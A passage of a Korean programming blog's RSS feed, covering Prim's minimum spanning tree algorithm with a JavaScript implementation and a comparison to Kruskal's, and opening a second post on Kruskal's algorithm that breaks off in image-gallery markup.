  &lt;div class=&quot;image-container&quot;&gt;&lt;span class=&quot;image-wrap selected&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/byf3ST/btsOqtMwZmh/BvnJZN1i70dyGHLKR6mMV0/img.webp&quot; data-url=&quot;https://blog.kakaocdn.net/dn/byf3ST/btsOqtMwZmh/BvnJZN1i70dyGHLKR6mMV0/img.webp&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/byf3ST/btsOqtMwZmh/BvnJZN1i70dyGHLKR6mMV0/img.webp&quot; loading=&quot;lazy&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbyf3ST%2FbtsOqtMwZmh%2FBvnJZN1i70dyGHLKR6mMV0%2Fimg.webp&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; data-origin-width=&quot;800&quot; data-origin-height=&quot;400&quot;/&gt;&lt;/span&gt;&lt;span class=&quot;image-wrap &quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/C1D3L/btsOpGlB2sR/Sx9FX2GzbZSoDl6o1MEzKk/img.webp&quot; data-url=&quot;https://blog.kakaocdn.net/dn/C1D3L/btsOpGlB2sR/Sx9FX2GzbZSoDl6o1MEzKk/img.webp&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/C1D3L/btsOpGlB2sR/Sx9FX2GzbZSoDl6o1MEzKk/img.webp&quot; loading=&quot;lazy&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FC1D3L%2FbtsOpGlB2sR%2FSx9FX2GzbZSoDl6o1MEzKk%2Fimg.webp&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; data-origin-width=&quot;800&quot; data-origin-height=&quot;400&quot;/&gt;&lt;/span&gt;&lt;span class=&quot;image-wrap &quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bCgNVE/btsOqHjrhVE/iNwCYdKWxBlxA2JkHymPRk/img.webp&quot; data-url=&quot;https://blog.kakaocdn.net/dn/bCgNVE/btsOqHjrhVE/iNwCYdKWxBlxA2JkHymPRk/img.webp&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bCgNVE/btsOqHjrhVE/iNwCYdKWxBlxA2JkHymPRk/img.webp&quot; loading=&quot;lazy&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbCgNVE%2FbtsOqHjrhVE%2FiNwCYdKWxBlxA2JkHymPRk%2Fimg.webp&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; data-origin-width=&quot;800&quot; data-origin-height=&quot;400&quot;/&gt;&lt;/span&gt;&lt;span class=&quot;image-wrap &quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xpLs2/btsOpDP0QaN/JNl6Lx7ssNPKzh7anC2GW1/img.webp&quot; data-url=&quot;https://blog.kakaocdn.net/dn/xpLs2/btsOpDP0QaN/JNl6Lx7ssNPKzh7anC2GW1/img.webp&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xpLs2/btsOpDP0QaN/JNl6Lx7ssNPKzh7anC2GW1/img.webp&quot; loading=&quot;lazy&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FxpLs2%2FbtsOpDP0QaN%2FJNl6Lx7ssNPKzh7anC2GW1%2Fimg.webp&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; data-origin-width=&quot;800&quot; data-origin-height=&quot;400&quot;/&gt;&lt;/span&gt;&lt;span class=&quot;image-wrap &quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/DkeMo/btsOp7ppbVI/v09UzwzG6BT3CwML8mMkk0/img.webp&quot; data-url=&quot;https://blog.kakaocdn.net/dn/DkeMo/btsOp7ppbVI/v09UzwzG6BT3CwML8mMkk0/img.webp&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/DkeMo/btsOp7ppbVI/v09UzwzG6BT3CwML8mMkk0/img.webp&quot; loading=&quot;lazy&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FDkeMo%2FbtsOp7ppbVI%2Fv09UzwzG6BT3CwML8mMkk0%2Fimg.webp&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; data-origin-width=&quot;800&quot; data-origin-height=&quot;400&quot;/&gt;&lt;/span&gt;&lt;span class=&quot;image-wrap &quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Io9JR/btsOo84fAyf/1NWF3xIOLCMPUVpxdTutA1/img.webp&quot; data-url=&quot;https://blog.kakaocdn.net/dn/Io9JR/btsOo84fAyf/1NWF3xIOLCMPUVpxdTutA1/img.webp&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Io9JR/btsOo84fAyf/1NWF3xIOLCMPUVpxdTutA1/img.webp&quot; loading=&quot;lazy&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FIo9JR%2FbtsOo84fAyf%2F1NWF3xIOLCMPUVpxdTutA1%2Fimg.webp&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; data-origin-width=&quot;800&quot; data-origin-height=&quot;400&quot;/&gt;&lt;/span&gt;&lt;span class=&quot;image-wrap &quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bg7VVS/btsOpfWmCOz/CzpN09kSjoLBe51Rv4Lg01/img.webp&quot; data-url=&quot;https://blog.kakaocdn.net/dn/bg7VVS/btsOpfWmCOz/CzpN09kSjoLBe51Rv4Lg01/img.webp&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bg7VVS/btsOpfWmCOz/CzpN09kSjoLBe51Rv4Lg01/img.webp&quot; loading=&quot;lazy&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbg7VVS%2FbtsOpfWmCOz%2FCzpN09kSjoLBe51Rv4Lg01%2Fimg.webp&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; data-origin-width=&quot;800&quot; data-origin-height=&quot;400&quot;/&gt;&lt;/span&gt;&lt;span class=&quot;image-wrap &quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cu2iYJ/btsOo9aZZLp/SHalRi46HHKdtOqYgRKWMk/img.webp&quot; data-url=&quot;https://blog.kakaocdn.net/dn/cu2iYJ/btsOo9aZZLp/SHalRi46HHKdtOqYgRKWMk/img.webp&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cu2iYJ/btsOo9aZZLp/SHalRi46HHKdtOqYgRKWMk/img.webp&quot; loading=&quot;lazy&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcu2iYJ%2FbtsOo9aZZLp%2FSHalRi46HHKdtOqYgRKWMk%2Fimg.webp&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; data-origin-width=&quot;800&quot; data-origin-height=&quot;400&quot;/&gt;&lt;/span&gt;&lt;span class=&quot;image-wrap &quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/PLgh7/btsOp9nc4JQ/OkAkjjQZUZAKL4XAtDzGhk/img.webp&quot; data-url=&quot;https://blog.kakaocdn.net/dn/PLgh7/btsOp9nc4JQ/OkAkjjQZUZAKL4XAtDzGhk/img.webp&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/PLgh7/btsOp9nc4JQ/OkAkjjQZUZAKL4XAtDzGhk/img.webp&quot; loading=&quot;lazy&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FPLgh7%2FbtsOp9nc4JQ%2FOkAkjjQZUZAKL4XAtDzGhk%2Fimg.webp&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; data-origin-width=&quot;800&quot; data-origin-height=&quot;400&quot;/&gt;&lt;/span&gt;&lt;span class=&quot;image-wrap &quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bGzfmE/btsOp98BDj6/tg1fevdZtRcP1TqlR7Nf7K/img.webp&quot; data-url=&quot;https://blog.kakaocdn.net/dn/bGzfmE/btsOp98BDj6/tg1fevdZtRcP1TqlR7Nf7K/img.webp&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bGzfmE/btsOp98BDj6/tg1fevdZtRcP1TqlR7Nf7K/img.webp&quot; loading=&quot;lazy&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbGzfmE%2FbtsOp98BDj6%2Ftg1fevdZtRcP1TqlR7Nf7K%2Fimg.webp&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; data-origin-width=&quot;800&quot; data-origin-height=&quot;400&quot;/&gt;&lt;/span&gt;&lt;span class=&quot;image-wrap &quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Gkgq8/btsOqr81igc/XdWs4SGoQpGxft1X8tI91K/img.webp&quot; data-url=&quot;https://blog.kakaocdn.net/dn/Gkgq8/btsOqr81igc/XdWs4SGoQpGxft1X8tI91K/img.webp&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Gkgq8/btsOqr81igc/XdWs4SGoQpGxft1X8tI91K/img.webp&quot; loading=&quot;lazy&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGkgq8%2FbtsOqr81igc%2FXdWs4SGoQpGxft1X8tI91K%2Fimg.webp&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; data-origin-width=&quot;800&quot; data-origin-height=&quot;400&quot;/&gt;&lt;/span&gt;&lt;span class=&quot;image-wrap &quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/IRDv0/btsOo8Xrh1i/Nj1NWB5sxjRPCpm62DJWr1/img.webp&quot; data-url=&quot;https://blog.kakaocdn.net/dn/IRDv0/btsOo8Xrh1i/Nj1NWB5sxjRPCpm62DJWr1/img.webp&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/IRDv0/btsOo8Xrh1i/Nj1NWB5sxjRPCpm62DJWr1/img.webp&quot; loading=&quot;lazy&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FIRDv0%2FbtsOo8Xrh1i%2FNj1NWB5sxjRPCpm62DJWr1%2Fimg.webp&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; data-origin-width=&quot;800&quot; data-origin-height=&quot;400&quot;/&gt;&lt;/span&gt;&lt;button class=&quot;btn btn-prev&quot;&gt;&lt;span class=&quot;ico-prev&quot;&gt;이전&lt;/span&gt;&lt;/button&gt;&lt;button class=&quot;btn btn-next&quot;&gt;&lt;span class=&quot;ico-next&quot;&gt;다음&lt;/span&gt;&lt;/button&gt;&lt;/div&gt;
  &lt;div class=&quot;mark&quot;&gt;&lt;span data-index=&quot;0&quot;&gt;0&lt;/span&gt;&lt;span data-index=&quot;1&quot;&gt;1&lt;/span&gt;&lt;span data-index=&quot;2&quot;&gt;2&lt;/span&gt;&lt;span data-index=&quot;3&quot;&gt;3&lt;/span&gt;&lt;span data-index=&quot;4&quot;&gt;4&lt;/span&gt;&lt;span data-index=&quot;5&quot;&gt;5&lt;/span&gt;&lt;span data-index=&quot;6&quot;&gt;6&lt;/span&gt;&lt;span data-index=&quot;7&quot;&gt;7&lt;/span&gt;&lt;span data-index=&quot;8&quot;&gt;8&lt;/span&gt;&lt;span data-index=&quot;9&quot;&gt;9&lt;/span&gt;&lt;span data-index=&quot;10&quot;&gt;10&lt;/span&gt;&lt;span data-index=&quot;11&quot;&gt;11&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;JavaScript 구현 예제&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;그래프 인접 리스트 구조 설명&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래프는 인접 리스트로 표현됩니다. 각 정점은 인접한 정점과 간선 가중치를 갖는 배열을 가지며, 전체 그래프는 객체 또는 배열로 구성됩니다.&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;// 예시 그래프 (인접 리스트 형태)
// 정점: 0, 1, 2, 3
// 각 요소는 [연결된 정점, 가중치]를 나타냄
const graph = {
  0: [[1, 2], [3, 6]],
  1: [[0, 2], [2, 3], [3, 8]],
  2: [[1, 3], [3, 7]],
  3: [[0, 6], [1, 8], [2, 7]]
};&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;프림 알고리즘 구현 코드&lt;/h3&gt;
&lt;pre class=&quot;javascript&quot;&gt;&lt;code&gt;function prim(graph) {
  const visited = new Set(); // 방문한 정점 추적
  const heap = [[0, 0]]; // [가중치, 정점] 형태의 최소 힙 (시작 정점 0에서 시작)
  let totalCost = 0;

  while (heap.length &amp;gt; 0) {
    // 가중치가 가장 작은 간선 선택
    heap.sort((a, b) =&amp;gt; a[0] - b[0]); // 간단한 정렬로 min heap 대체
    const [weight, u] = heap.shift();

    if (visited.has(u)) continue; // 이미 방문한 정점이면 skip

    visited.add(u);
    totalCost += weight;

    for (let [v, w] of graph[u]) {
      if (!visited.has(v)) {
        heap.push([w, v]); // 인접한 정점을 우선순위 큐에 추가
      }
    }
  }

  return totalCost;
}

// 실행 예시
console.log(&quot;Total Cost (Prim):&quot;, prim(graph));&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;코드 설명&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;visited&lt;/b&gt;: 이미 트리에 포함된 정점을 추적합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;heap&lt;/b&gt;: 다음에 확장할 정점을 선택하기 위한 우선순위 큐 역할을 합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;totalCost&lt;/b&gt;: 현재까지 선택된 간선들의 가중치 합입니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;시간 복잡도 및 크루스칼과의 비교&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;시간 복잡도&lt;/b&gt;: O(E log V) (우선순위 큐를 제대로 구현했을 경우)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;공간 복잡도&lt;/b&gt;: O(V + E) (인접 리스트 기반)&lt;/li&gt;
&lt;/ul&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;프림 알고리즘&lt;/th&gt;
&lt;th&gt;크루스칼 알고리즘&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;중심 개념&lt;/td&gt;
&lt;td&gt;&quot;정점 중심&quot; (Vertex-based)&lt;/td&gt;
&lt;td&gt;&quot;간선 중심&quot; (Edge-based)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;자료구조 활용&lt;/td&gt;
&lt;td&gt;&quot;우선순위 큐&quot;&lt;/td&gt;
&lt;td&gt;&quot;Union-Find&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;희소 그래프 효율성&lt;/td&gt;
&lt;td&gt;보통&lt;/td&gt;
&lt;td&gt;더 효율적일 수 있음&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;활용 사례&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;통신망 구축&lt;/b&gt;: 노드 간 최단 경로를 기반으로 네트워크 선 연결&lt;/li&gt;
&lt;li&gt;&lt;b&gt;지도 및 내비게이션 시스템&lt;/b&gt;: 최소 거리 기반 경로 구성&lt;/li&gt;
&lt;li&gt;&lt;b&gt;센서 네트워크 구성&lt;/b&gt;: 거리와 전력 효율을 고려한 연결 구조&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;마무리 및 CTA&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;프림 알고리즘&quot;은 그래프에서 최소 비용으로 정점을 연결하는 가장 효율적인 방법 중 하나로, 특히 &quot;우선순위 큐&quot;를 활용한 정점 확장 방식이 핵심입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;더 많은 그래프 알고리즘을 학습하고 싶다면 아래 자료를 참고해보시기 바랍니다:&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;추천 자료:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://visualgo.net/en/mst&quot;&gt;Visualgo - MST 시각화&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.programiz.com/dsa/prim-algorithm&quot;&gt;Programiz - Prim's Algorithm&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.geeksforgeeks.org/prims-minimum-spanning-tree-mst-greedy-algo-5/&quot;&gt;GeeksforGeeks - Prim's MST&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>Programing/Algorithm</category>
      <author>Dongkkase</author>
      <guid isPermaLink="true">https://eyecandyzero.tistory.com/487</guid>
      <comments>https://eyecandyzero.tistory.com/487#entry487comment</comments>
      <pubDate>Thu, 5 Jun 2025 10:18:15 +0900</pubDate>
    </item>
    <item>
      <title>JavaScript로 이해하는 크루스칼 알고리즘 (Minimum Spanning Tree)</title>
      <link>https://eyecandyzero.tistory.com/486</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;크루스칼 알고리즘이란?&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;크루스칼 알고리즘(Kruskal's Algorithm)&quot;은 그래프 이론에서 &quot;최소 신장 트리(Minimum Spanning Tree, MST)&quot;를 찾기 위해 널리 사용되는 대표적인 &quot;그리디 알고리즘&quot;입니다. 최소 신장 트리는 주어진 모든 정점을 연결하면서, 간선의 전체 가중치 합이 최소가 되는 트리입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;크루스칼 알고리즘은 모든 간선을 가중치 기준으로 정렬한 다음, 작은 가중치부터 차례대로 간선을 선택해나가되, 사이클을 만들지 않도록 관리합니다. 이 과정에서 &quot;사이클 여부 확인&quot;을 위해 &quot;Union-Find(유니온-파인드)&quot; 자료구조가 사용됩니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;핵심 절차&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;크루스칼 알고리즘은 다음과 같은 단계를 따릅니다:&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;간선 정렬&lt;/b&gt;: 그래프의 모든 간선을 가중치 기준으로 오름차순 정렬합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Union-Find 초기화&lt;/b&gt;: 각 정점이 자기 자신을 부모로 가지는 배열을 생성합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;사이클 방지&lt;/b&gt;: 정렬된 간선을 하나씩 확인하면서, 해당 간선을 추가했을 때 사이클이 발생하지 않으면 MST에 포함시킵니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;반복 종료 조건&lt;/b&gt;: MST에는 항상 정점 수 - 1개의 간선만 포함됩니다. 이 조건을 만족하면 알고리즘을 종료합니다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;figure class=&quot;imageslideblock alignCenter&quot; data-image=&quot;[{&amp;quot;src&amp;quot;:&amp;quot;https://blog.kakaocdn.net/dn/8z2A6/btsOoHSZduE/LBgHKtEuVr02F39uC77wRK/img.webp&amp;quot;},{&amp;quot;src&amp;quot;:&amp;quot;https://blog.kakaocdn.net/dn/2zjYW/btsOp6DZCyO/vWFidyuSD5wlCH4JfaqKvk/img.webp&amp;quot;},{&amp;quot;src&amp;quot;:&amp;quot;https://blog.kakaocdn.net/dn/2f7uY/btsOp8aI6Qs/60CI6bJU0XV0sYtw5imyk1/img.webp&amp;quot;},{&amp;quot;src&amp;quot;:&amp;quot;https://blog.kakaocdn.net/dn/dUzxfT/btsOpdjzMy1/VUgN4Bb1gZpiWM5fsWIfNK/img.webp&amp;quot;},{&amp;quot;src&amp;quot;:&amp;quot;https://blog.kakaocdn.net/dn/8yMfd/btsOqGEM1yJ/YHjNrIBkBNz6OYOijUAxe1/img.webp&amp;quot;},{&amp;quot;src&amp;quot;:&amp;quot;https://blog.kakaocdn.net/dn/cuInVZ/btsOpL09BaV/SeAWOZPv1sGAWPp5uF3ECk/img.webp&amp;quot;},{&amp;quot;src&amp;quot;:&amp;quot;https://blog.kakaocdn.net/dn/ZRbOj/btsOpMTgRYv/2GsF99iP2BLonSBXdeArIk/img.webp&amp;quot;},{&amp;quot;src&amp;quot;:&amp;quot;https://blog.kakaocdn.net/dn/ds3qQp/btsOoHL9iB5/ddVM5FGJaUGV2lX8pbO3KK/img.webp&amp;quot;},{&amp;quot;src&amp;quot;:&amp;quot;https://blog.kakaocdn.net/dn/rQE35/btsOpIQWM5Y/e6RRX0ztarZEQa6s3cblU0/img.webp&amp;quot;},{&amp;quot;src&amp;quot;:&amp;quot;https://blog.kakaocdn.net/dn/btPht5/btsOpMTgRYb/lir1VvZkQZksldkCclK431/img.webp&amp;quot;},{&amp;quot;src&amp;quot;:&amp;quot;https://blog.kakaocdn.net/dn/w9z2J/btsOpQuBNHF/IanB3eZFhhkGMuXS7zjnm1/img.webp&amp;quot;}]&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span class=&quot;image-wrap selected&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/8z2A6/btsOoHSZduE/LBgHKtEuVr02F39uC77wRK/img.webp&quot; data-url=&quot;https://blog.kakaocdn.net/dn/8z2A6/btsOoHSZduE/LBgHKtEuVr02F39uC77wRK/img.webp&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/8z2A6/btsOoHSZduE/LBgHKtEuVr02F39uC77wRK/img.webp&quot; loading=&quot;lazy&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F8z2A6%2FbtsOoHSZduE%2FLBgHKtEuVr02F39uC77wRK%2Fimg.webp&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; data-origin-width=&quot;800&quot; data-origin-height=&quot;400&quot;/&gt;&lt;/span&gt;&lt;span class=&quot;image-wrap &quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/2zjYW/btsOp6DZCyO/vWFidyuSD5wlCH4JfaqKvk/img.webp&quot; data-url=&quot;https://blog.kakaocdn.net/dn/2zjYW/btsOp6DZCyO/vWFidyuSD5wlCH4JfaqKvk/img.webp&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/2zjYW/btsOp6DZCyO/vWFidyuSD5wlCH4JfaqKvk/img.webp&quot; loading=&quot;lazy&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F2zjYW%2FbtsOp6DZCyO%2FvWFidyuSD5wlCH4JfaqKvk%2Fimg.webp&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; data-origin-width=&quot;800&quot; data-origin-height=&quot;400&quot;/&gt;&lt;/span&gt;&lt;span class=&quot;image-wrap &quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/2f7uY/btsOp8aI6Qs/60CI6bJU0XV0sYtw5imyk1/img.webp&quot; data-url=&quot;https://blog.kakaocdn.net/dn/2f7uY/btsOp8aI6Qs/60CI6bJU0XV0sYtw5imyk1/img.webp&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/2f7uY/btsOp8aI6Qs/60CI6bJU0XV0sYtw5imyk1/img.webp&quot; loading=&quot;lazy&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F2f7uY%2FbtsOp8aI6Qs%2F60CI6bJU0XV0sYtw5imyk1%2Fimg.webp&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; data-origin-width=&quot;800&quot; data-origin-height=&quot;400&quot;/&gt;&lt;/span&gt;&lt;span class=&quot;image-wrap &quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dUzxfT/btsOpdjzMy1/VUgN4Bb1gZpiWM5fsWIfNK/img.webp&quot; data-url=&quot;https://blog.kakaocdn.net/dn/dUzxfT/btsOpdjzMy1/VUgN4Bb1gZpiWM5fsWIfNK/img.webp&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dUzxfT/btsOpdjzMy1/VUgN4Bb1gZpiWM5fsWIfNK/img.webp&quot; loading=&quot;lazy&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdUzxfT%2FbtsOpdjzMy1%2FVUgN4Bb1gZpiWM5fsWIfNK%2Fimg.webp&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; data-origin-width=&quot;800&quot; data-origin-height=&quot;400&quot;/&gt;&lt;/span&gt;&lt;span class=&quot;image-wrap &quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/8yMfd/btsOqGEM1yJ/YHjNrIBkBNz6OYOijUAxe1/img.webp&quot; data-url=&quot;https://blog.kakaocdn.net/dn/8yMfd/btsOqGEM1yJ/YHjNrIBkBNz6OYOijUAxe1/img.webp&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/8yMfd/btsOqGEM1yJ/YHjNrIBkBNz6OYOijUAxe1/img.webp&quot; loading=&quot;lazy&quot; 